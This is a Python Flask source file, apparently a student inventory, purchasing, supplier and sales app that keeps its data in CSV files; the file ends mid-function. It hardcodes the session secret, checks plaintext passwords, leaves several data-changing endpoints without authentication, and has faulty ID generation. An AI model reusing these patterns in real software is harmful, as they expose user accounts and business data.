from flask import Flask, request, session, render_template import json, csv, os, datetime #iniciando app para la redirección de html. app = Flask(__name__) app.secret_key = 'esto-es-una-clave-muy-secreta' #encriptar session. @app.errorhandler(404) def page_not_found(e): #hola if 'loginC' in session: if session['loginC']: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') @app.errorhandler(405) def method_not_allowed(e): if 'loginC' in session: if session['loginC']: return render_template('inventario.html') else: return render_template('index.html') else: return render_template('index.html') #Redirección a /index.html. @app.route('/index.html') def index(): #Comprobamos si existe la session 'loginC'. #Si existe comprobamos si es True o False, si es True cargamos la página. #Si no exite la creamos en False y hacemos una redirección a index.html. if 'loginC' in session: if session['loginC']: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') #Redirección a /inicio.html. @app.route('/inicio.html') def inicio(): #Comprobamos si 'loginC' es True if session['loginC']: return render_template('inicio.html') else: return render_template('index.html') @app.route('/login', methods=['POST']) def signUpUser(): #Abrimos el archivo listaUsuarios.csv y comprobamos si esta el usuario session['loginC'] = False with open(os.getcwd()+'/Python3_SGE/datos/listaUsuarios.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: if row[1] == request.form['username'] and row[2] == request.form['password']: session['idUser'] = row[0] session['loginC'] = True if session['loginC']: return json.dumps(1); else: return json.dumps(0); @app.route('/logout', methods=['POST']) def logoutUser(): if session['loginC']: session['loginC'] = False return json.dumps(1); else: return json.dumps(0); #Redireccion a /inventario.html @app.route('/inventario.html') def inventario(): if 'loginC' in session: if session['loginC']: valido = False with open(os.getcwd()+'/Python3_SGE/datos/listaDepartamentos.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: #Comprobamos si el usuario logueado tiene permisos para usar este modulo if row[0] == "1": for i in row[2]: if i == session['idUser']: valido = True if valido: return render_template('inventario.html') else: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') #Cargar la lista de los productos @app.route('/cargarInventario', methods=['POST']) def cargarInventario(): datos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as File: readercp = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) datos = list(readercp) del datos[0] #Eliminar la primera linea de datos, para que no devulva los titulos. return json.dumps({'datos':datos}) #Borrar un producto seleccionado @app.route('/borrarInventario', methods=['POST']) def borrarInventario(): idInventario = request.form['idInventario'] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "TIPO", "CANTIDAD", "PRECIO_COMPRA", "PRECIO_VENTA", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowbp["ID"] != idInventario: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') #Cambiamos el nombre del nuevo archivo al nombre del anterior return json.dumps(1); #Crear un producto @app.route('/crearProducto', methods=['POST']) def crearProducto(): result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "TIPO", "CANTIDAD", "PRECIO_COMPRA", "PRECIO_VENTA", "CONTROLES"), quoting=csv.QUOTE_MINIMAL) writer.writeheader() readercp = csv.DictReader(inp, dialect='unix', delimiter=";") #Leer archivo viejo for rowcp in readercp: result.append(rowcp) #Guardamos los datos del archivo viejo en una lista ID = 0 try: ID = int((int(rowcp['ID'][-1]) + 1)) #Recogemos el id del ultimo elemento del archivo y le sumamos 1 except NameError: ID = 1 #Si no hay ningun elemento en el archivo ponemos el id a 1 nombre = request.form['nombreP'] tipo = request.form['tipoP'] cantidad = request.form['contidadP'] precioCompra = str(request.form['precioCompraP']) + "$" precioVenta = str(request.form['precioVentaP']) + "$" controles = '<button onclick="modificar({})" class="btn btn btn-outline-warning" type="button">Modificar</button><button onclick="borrar({})" class="btn btn btn-outline-danger mt-2" type="button">Borrar</button>'.format(ID, ID) data = {'ID': ID, 'NOMBRE': nombre, "TIPO": tipo, "CANTIDAD": cantidad, "PRECIO_COMPRA": precioCompra, "PRECIO_VENTA": precioVenta, "CONTROLES": controles} result.append(data) #Añadimos el nuevo elemento a la lista writer.writerows(result) #Añadimos los datos de la lista en el nuevo archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') return json.dumps(1); #Cargar datos de un produto seleccionado @app.route('/verProducto', methods=['POST']) def verProducto(): idInventario = request.form['idInventario'] datosP = [] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowvp["ID"] == idInventario: #Añadimos los datos del elemento seleccionado(id) a la lista datosP.append(rowvp['ID']) datosP.append(rowvp['NOMBRE']) datosP.append(rowvp['TIPO']) datosP.append(rowvp['CANTIDAD']) datosP.append(rowvp['PRECIO_COMPRA'][:-1]) datosP.append(rowvp['PRECIO_VENTA'][:-1]) return json.dumps({'datos':datosP}) #Devolvemos los datos en forma json #Modificar datos de un producto seleccionado @app.route('/actualizarProducto', methods=['POST']) def actualizarProducto(): precioCompra = request.form['precioCompraAP'] precioVenta = request.form['precioVentaAP'] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "TIPO", "CANTIDAD", "PRECIO_COMPRA", "PRECIO_VENTA", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() for rowacp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowacp["ID"] == request.form['idAP']: #Cambiamos los datos del elemto seleccionado(id) a los nuevos datos rowacp['NOMBRE'] = request.form['nombreAP'] rowacp['TIPO'] = request.form['tipoAP'] rowacp['CANTIDAD'] = request.form['contidadAP'] rowacp['PRECIO_COMPRA'] = str(precioCompra) + "$" rowacp['PRECIO_VENTA'] = str(precioVenta) + "$" rowacp = {'ID': rowacp['ID'], 'NOMBRE': rowacp['NOMBRE'], 'TIPO': rowacp['TIPO'], 'CANTIDAD': rowacp['CANTIDAD'], 'PRECIO_COMPRA': rowacp['PRECIO_COMPRA'], 'PRECIO_VENTA': rowacp['PRECIO_VENTA'], 'CONTROLES': rowacp['CONTROLES']} #Añadimos esos datos al rowacp writer.writerow(rowacp) #Añadimos los datos el archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') return json.dumps(1); @app.route('/compras.html') def compras(): if 'loginC' in session: if session['loginC']: valido = False with open(os.getcwd()+'/Python3_SGE/datos/listaDepartamentos.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: #Comprobamos si el usuario logueado tiene permisos para usar este modulo if row[0] == "2": for i in row[2]: if i == session['idUser']: valido = True if valido: return render_template('compras.html') else: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') #Cargar la lista de los productos @app.route('/cargarCompras', methods=['POST']) def cargarCompras(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) index = 0 #Cantidad de elementos que tiene el archivo listaCompra.csv borrarP = 2 #Posicion en la que borrar el id del proveedor borrarI = 1 #Posicion en la que borrar el id del invenario for rowlc in readerlc: datos = [] for i in rowlc: datos.append(i) index += 1 if index == 7: index = 0 if index == 2: with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as lp: readerlp = csv.reader(lp, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlp) for rowlp in readerlp: if i == rowlp[0]: del datos[borrarI] datos.append(rowlp[1]) if index == 3: with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as lp: readerlp = csv.reader(lp, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlp) for rowlp in readerlp: if i == rowlp[0]: del datos[borrarP] datos.append(rowlp[1]) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/selectInventario', methods=['POST']) def selectInventario(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) for rowlc in readerlc: datos = [] datos.append(rowlc[0]) datos.append(rowlc[1]) datos.append(rowlc[4]) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/selectProveedor', methods=['POST']) def selectProveedor(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) for rowlc in readerlc: datos = [] datos.append(rowlc[0]) datos.append(rowlc[1]) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/crearCompra', methods=['POST']) def crearCompra(): result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "PROVEEDOR", "CANTIDAD", "PRECIO", "TOTAL", "CONTROLES"), quoting=csv.QUOTE_MINIMAL) writer.writeheader() readercp = csv.DictReader(inp, delimiter=";") #Leer archivo viejo for rowcp in readercp: result.append(rowcp) #Guardamos los datos del archivo viejo en una lista ID = 0 try: ID = int((int(rowcp['ID'][-1]) + 1)) #Recogemos el id del ultimo elemento del archivo y le sumamos 1 except NameError: ID = 1 #Si no hay ningun elemento en el archivo ponemos el id a 1 producto = request.form['sProductos'] proveedor = request.form['sProveedor'] cantidad = str(request.form['cantidadCP']) precio = str(request.form['precioCP']) + "$" total = str(request.form['totalCP']) + "$" controles = '<button onclick="comprar({})" class="btn btn btn-outline-warning" type="button">Comprar</button><button onclick="borrar({})" class="btn btn btn-outline-danger mt-2" type="button">Borrar</button>'.format(ID, ID) data = {'ID': ID, 'PRODUCTO': producto, "PROVEEDOR": proveedor, "CANTIDAD": cantidad, "PRECIO": precio, "TOTAL": total, "CONTROLES": controles} result.append(data) #Añadimos el nuevo elemento a la lista writer.writerows(result) #Añadimos los datos de la lista en el nuevo archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaCompras.csv') return json.dumps(1); @app.route('/borrarCompra', methods=['POST']) def borrarCompra(): idCompra = request.form['idCompra'] with open(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "PROVEEDOR", "CANTIDAD", "PRECIO", "TOTAL", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowbp["ID"] != idCompra: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaCompras.csv') #Cambiamos el nombre del nuevo archivo al nombre del anterior return json.dumps(1); @app.route('/comprarCompra', methods=['POST']) def comprarCompra(): ridCompra = request.form['idCompra'] rproducto = "" rproveedor = "" rcantidad = "" rprecio = "" rtotal = "" rproductoNombre = "" now = datetime.datetime.now() with open(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, delimiter=";"): if rowvp["ID"] == ridCompra: rproducto = rowvp['PRODUCTO'] rproveedor = rowvp['PROVEEDOR'] rcantidad = rowvp['CANTIDAD'] rprecio = rowvp['PRECIO'] rtotal = rowvp['TOTAL'] with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, delimiter=";"): if rowvp["ID"] == rproducto: rproductoNombre = rowvp['NOMBRE'] result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaHistoricoCompras.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "PROVEEDOR", "CANTIDAD", "PRECIO", "TOTAL", "DATE", "NOMBREP"), quoting=csv.QUOTE_MINIMAL) writer.writeheader() readercp = csv.DictReader(inp, delimiter=";") #Leer archivo viejo for rowcp in readercp: result.append(rowcp) #Guardamos los datos del archivo viejo en una lista ID = 0 try: ID = int((int(rowcp['ID'][-1]) + 1)) #Recogemos el id del ultimo elemento del archivo y le sumamos 1 except NameError: ID = 1 #Si no hay ningun elemento en el archivo ponemos el id a 1 producto = rproducto proveedor = rproveedor cantidad = rcantidad precio = rprecio total = rtotal date = (str(now.day) + "/" + str(now.month) + "/" + str(now.year)) nombrep = rproductoNombre.capitalize() data = {'ID': ID, 'PRODUCTO': producto, "PROVEEDOR": proveedor, "CANTIDAD": cantidad, "PRECIO": precio, "TOTAL": total, "DATE": date, "NOMBREP": nombrep} result.append(data) #Añadimos el nuevo elemento a la lista writer.writerows(result) #Añadimos los datos de la lista en el nuevo archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaHistoricoCompras.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaHistoricoCompras.csv') with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "TIPO", "CANTIDAD", "PRECIO_COMPRA", "PRECIO_VENTA", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() for rowacp in csv.DictReader(inp, delimiter=";"): if rowacp["ID"] == rproducto: #Cambiamos los datos del elemto seleccionado(id) a los nuevos datos rowacp['CANTIDAD'] = int(rowacp['CANTIDAD']) + int(rcantidad) rowacp = {'ID': rowacp['ID'], 'NOMBRE': rowacp['NOMBRE'], 'TIPO': rowacp['TIPO'], 'CANTIDAD': rowacp['CANTIDAD'], 'PRECIO_COMPRA': rowacp['PRECIO_COMPRA'], 'PRECIO_VENTA': rowacp['PRECIO_VENTA'], 'CONTROLES': rowacp['CONTROLES']} #Añadimos esos datos al rowacp writer.writerow(rowacp) #Añadimos los datos el archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaInventario.csv') with open(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "PROVEEDOR", "CANTIDAD", "PRECIO", "TOTAL", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, delimiter=";"): if rowbp["ID"] != ridCompra: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaCompras.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaCompras.csv') return json.dumps(1); @app.route('/historicoCompras.html') def historicoCompras(): if 'loginC' in session: if session['loginC']: valido = False with open(os.getcwd()+'/Python3_SGE/datos/listaDepartamentos.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: #Comprobamos si el usuario logueado tiene permisos para usar este modulo if row[0] == "1": for i in row[2]: if i == session['idUser']: valido = True if valido: return render_template('historicoCompras.html') else: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') @app.route('/cargarHistorialCompras', methods=['POST']) def cargarHistorialCompras(): idProducto = 1 listaDatos = [] cantidad = 0 index = 0 with open(os.getcwd()+'/Python3_SGE/datos/listaHistoricoCompras.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) for rowlc in readerlc: datos = [] if len(listaDatos) == 0: datos.append(rowlc[1]) datos.append(rowlc[3]) datos.append(rowlc[4]) datos.append(rowlc[5]) datos.append(rowlc[6][3:-5]) datos.append(rowlc[7]) listaDatos.append(datos) else: if listaDatos[index][0] == rowlc[1] and listaDatos[index][4] == rowlc[6][3:-5]: listaDatos[index][1] = str(int(listaDatos[index][1]) + int(rowlc[3])) else: datos.append(rowlc[1]) datos.append(rowlc[3]) datos.append(rowlc[4]) datos.append(rowlc[5]) datos.append(rowlc[6][3:-5]) datos.append(rowlc[7]) listaDatos.append(datos) index += 1 return json.dumps({'datos':listaDatos}) @app.route('/proveedor.html') def proveedor(): if 'loginC' in session: if session['loginC']: valido = False with open(os.getcwd()+'/Python3_SGE/datos/listaDepartamentos.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: #Comprobamos si el usuario logueado tiene permisos para usar este modulo if row[0] == "2": for i in row[2]: if i == session['idUser']: valido = True if valido: return render_template('proveedor.html') else: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') @app.route('/cargarProveedores', methods=['POST']) def cargarProveedores(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) index = 0 #Cantidad de elementos que tiene el archivo listaCompra.csv borrarP = 2 #Posicion en la que borrar el id del proveedor borrarI = 1 #Posicion en la que borrar el id del invenario for rowlc in readerlc: datos = [] for i in rowlc: datos.append(i) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/newProveedor', methods=['POST']) def crearProveedor(): result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "DIRECCION", "TELEFONO", "CONTROLES"), quoting=csv.QUOTE_MINIMAL) writer.writeheader() readercp = csv.DictReader(inp, dialect='unix', delimiter=";") #Leer archivo viejo for rowcp in readercp: result.append(rowcp) #Guardamos los datos del archivo viejo en una lista ID = 0 try: ID = int((int(rowcp['ID'][-1]) + 1)) #Recogemos el id del ultimo elemento del archivo y le sumamos 1 except NameError: ID = 1 #Si no hay ningun elemento en el archivo ponemos el id a 1 nombre = request.form['nombreProveedor'] direccion = request.form['calleProveedor'] telefono = request.form['telefonoProveedor'] controles = '<button onclick="modificar({})" class="btn btn btn-outline-warning" type="button">Modificar</button><button onclick="borrar({})" class="btn btn btn-outline-danger mt-2" type="button">Borrar</button>'.format(ID, ID) data = {'ID': ID, 'NOMBRE': nombre, "DIRECCION": direccion, "TELEFONO": telefono, "CONTROLES": controles} result.append(data) #Añadimos el nuevo elemento a la lista writer.writerows(result) #Añadimos los datos de la lista en el nuevo archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv') return json.dumps(1); @app.route('/borrarProveedor', methods=['POST']) def borrarProveedor(): idProveedor = request.form['idProveedor'] with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "DIRECCION", "TELEFONO", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowbp["ID"] != idProveedor: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv') #Cambiamos el nombre del nuevo archivo al nombre del anterior return json.dumps(1); @app.route('/verProveedor', methods=['POST']) def verProveedor(): idProveedor = request.form['idProveedor'] datosP = [] with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowvp["ID"] == idProveedor: #Añadimos los datos del elemento seleccionado(id) a la lista datosP.append(rowvp['ID']) datosP.append(rowvp['NOMBRE']) datosP.append(rowvp['DIRECCION']) datosP.append(rowvp['TELEFONO']) return json.dumps({'datos':datosP}) #Devolvemos los datos en forma json @app.route('/actualizarProveedor', methods=['POST']) def actualizarProveedor(): with open(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "NOMBRE", "DIRECCION", "TELEFONO", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() for rowacp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowacp["ID"] == request.form['idProveedor']: #Cambiamos los datos del elemto seleccionado(id) a los nuevos datos rowacp['NOMBRE'] = request.form['nProveedor'] rowacp['DIRECCION'] = request.form['cProveedor'] rowacp['TELEFONO'] = request.form['tProveedor'] rowacp = {'ID': rowacp['ID'], 'NOMBRE': rowacp['NOMBRE'], 'DIRECCION': rowacp['DIRECCION'], 'TELEFONO': rowacp['TELEFONO'], 'CONTROLES': rowacp['CONTROLES']} #Añadimos esos datos al rowacp writer.writerow(rowacp) #Añadimos los datos el archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaProveedors.csv') return json.dumps(1); @app.route('/ventas.html') def ventas(): if 'loginC' in session: if session['loginC']: valido = False with open(os.getcwd()+'/Python3_SGE/datos/listaDepartamentos.csv', 'r', encoding="ISO-8859-15") as File: reader = csv.reader(File, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) for row in reader: #Comprobamos si el usuario logueado tiene permisos para usar este modulo if row[0] == "3": for i in row[2]: if i == session['idUser']: valido = True if valido: return render_template('ventas.html') else: return render_template('inicio.html') else: return render_template('index.html') else: return render_template('index.html') @app.route('/cargarVentas', methods=['POST']) def cargarVentas(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) index = 0 #Cantidad de elementos que tiene el archivo listaCompra.csv borrarP = 2 #Posicion en la que borrar el id del proveedor borrarI = 1 #Posicion en la que borrar el id del invenario for rowlc in readerlc: datos = [] for i in rowlc: datos.append(i) index += 1 if index == 7: index = 0 if index == 2: with open(os.getcwd()+'/Python3_SGE/datos/listaInventario.csv', 'r', encoding="ISO-8859-15") as lp: readerlp = csv.reader(lp, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlp) for rowlp in readerlp: if i == rowlp[0]: del datos[borrarI] datos.append(rowlp[1]) if index == 3: with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as lp: readerlp = csv.reader(lp, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlp) for rowlp in readerlp: if i == rowlp[0]: del datos[borrarP] datos.append(rowlp[1]) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/selectCliente', methods=['POST']) def selectCliente(): listaDatos = [] with open(os.getcwd()+'/Python3_SGE/datos/listaClientes.csv', 'r', encoding="ISO-8859-15") as lc: readerlc = csv.reader(lc, delimiter=';', quotechar=';', quoting=csv.QUOTE_MINIMAL) next(readerlc) for rowlc in readerlc: datos = [] datos.append(rowlc[0]) datos.append(rowlc[1]) listaDatos.append(datos) return json.dumps({'datos':listaDatos}) @app.route('/crearVenta', methods=['POST']) def crearVenta(): result = [] with open(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "CLIENTE", "CANTIDAD", "PRECIO", "TOTAL", "CONTROLES"), quoting=csv.QUOTE_MINIMAL) writer.writeheader() readercp = csv.DictReader(inp, delimiter=";") #Leer archivo viejo for rowcp in readercp: result.append(rowcp) #Guardamos los datos del archivo viejo en una lista ID = 0 try: ID = int((int(rowcp['ID'][-1]) + 1)) #Recogemos el id del ultimo elemento del archivo y le sumamos 1 except NameError: ID = 1 #Si no hay ningun elemento en el archivo ponemos el id a 1 producto = request.form['sProductos'] cliente = request.form['sCliente'] cantidad = str(request.form['cantidadCP']) precio = str(request.form['precioCP']) + "$" total = str(request.form['totalCP']) + "$" controles = '<button onclick="vender({})" class="btn btn btn-outline-warning" type="button">Vender</button><button onclick="borrar({})" class="btn btn btn-outline-danger mt-2" type="button">Borrar</button>'.format(ID, ID) data = {'ID': ID, 'PRODUCTO': producto, "CLIENTE": cliente, "CANTIDAD": cantidad, "PRECIO": precio, "TOTAL": total, "CONTROLES": controles} result.append(data) #Añadimos el nuevo elemento a la lista writer.writerows(result) #Añadimos los datos de la lista en el nuevo archivo os.remove(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv') os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaVentas.csv') return json.dumps(1); @app.route('/borrarVenta', methods=['POST']) def borrarVenta(): idCompra = request.form['idCompra'] with open(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv', 'r', encoding="ISO-8859-15") as inp, open(os.getcwd()+'/Python3_SGE/datos/new.csv', 'w', encoding="ISO-8859-15") as out: writer = csv.DictWriter(out, dialect='unix', delimiter=";", quotechar=";", fieldnames =("ID", "PRODUCTO", "CLIENTE", "CANTIDAD", "PRECIO", "TOTAL", "CONTROLES") , quoting=csv.QUOTE_MINIMAL) writer.writeheader() #Evitamos borrar los titulos (fieldnames) for rowbp in csv.DictReader(inp, dialect='unix', delimiter=";"): if rowbp["ID"] != idCompra: #Creamos el nuevo archivo con todos los datos menos la fila con el id devuelto writer.writerow(rowbp) os.remove(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv') #Removemos el anterior archivo os.rename(os.getcwd()+'/Python3_SGE/datos/new.csv', os.getcwd()+'/Python3_SGE/datos/listaVentas.csv') #Cambiamos el nombre del nuevo archivo al nombre del anterior return json.dumps(1); @app.route('/realizarVenta', methods=['POST']) def realizarVenta(): ridVenta = request.form['idVenta'] rproducto = "" rcliente = "" rcantidad = "" rprecio = "" rtotal = "" rproductoNombre = "" now = datetime.datetime.now() with open(os.getcwd()+'/Python3_SGE/datos/listaVentas.csv', 'r', encoding="ISO-8859-15") as inp: for rowvp in csv.DictReader(inp, delimiter=";"): 